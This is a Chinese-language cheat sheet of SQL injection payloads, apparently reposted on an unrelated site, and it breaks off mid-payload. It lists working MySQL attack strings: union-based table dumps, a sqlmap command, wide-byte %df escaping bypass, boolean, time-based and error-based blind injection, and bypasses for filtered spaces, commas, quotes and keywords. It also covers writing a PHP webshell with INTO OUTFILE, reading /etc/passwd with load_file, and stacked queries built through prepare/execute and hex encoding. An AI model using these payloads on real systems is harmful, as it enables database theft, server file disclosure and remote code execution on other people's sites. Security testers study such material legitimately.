sql注入payload总结

您所在的位置:网站首页 北京奥运会开始于哪一年 sql注入payload总结

sql注入payload总结

2023-10-11 16:13| 来源: 网络整理| 查看: 265

以下payload均不报错大小写绕过,关键字绕过等,请自行判断过滤方式后修改payload,若有后续代码,请自行考虑截断或者补全方式。 简单注入payload,例如 id=1, id这个字段就是注入字段 id=1 union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema=database()

sqlmap

python sqlmap.py -u http://xxxx.com?id=1 -p id --dbs 宽字节注入,一般会伴随addslashes函数,使用%df绕过转义字符,同时,在搜索中难免在where中会用到字符串,可以使用char函数将ascii码转换成字符串,也可以以16进制的方式绕过,从而绕过引号 id=%df' union select 1,0x61646d696e,group_concat(column_name) from information_schema.columns where table_name = char(102,49,52,103) 布尔盲注,一般伴随有提示性的回显 id=1' and ascii(substr(database(),1,1))>114 时间盲注,一般配合if函数进行利用 id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),null) 报错注入,当页面提示mysql错误信息时 id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)

或者

id=1' and extractvalue(1,concat(0x7e,(select database())))

有时候代码里可能会过滤掉其中一种,多试试总是没坏处

写入一句话木马 id=1' union select 1,2,"" into outfile xxx.php 注入读取服务器文件 id=1' union select load_file('/etc/passwd') 绕过空格过滤,具体效果大家可以在本地sql上运行试试 id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1' 绕过 过滤逗号绕过 id=1' union select * from (select 1)a join (select 2)b join (select 3)c =过滤,使用like绕过空格过滤,使用制表符tab或换行符绕过引号过滤,使用16进制数或char函数绕过addslashes过滤,宽字节%df注入 进阶 一、select 被过滤但存在堆叠注入

原理:使用mysql_multi_query(),支持以;分割的多条sql语句执行 判断是否存在堆叠注入

1'; show tables;%23 使用预处理(Set + prepare + execute),绕过字符串过滤 Set @a=concat('selec','t from xxx'); prepare h from @a; execute @a; 使用16进制执行绕过字符串过滤 Set @a=‘select * from xxx’; 将 select * from xxx 进行16进制编码得到 73656c656374202a2066726f6d20787878 则公式变为 Set @a=0x73656c656374202a2066726f6d20787878; prepare h from @a; execute @a; 写入一句话木马 Set @a=0x(转16进制 select "


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3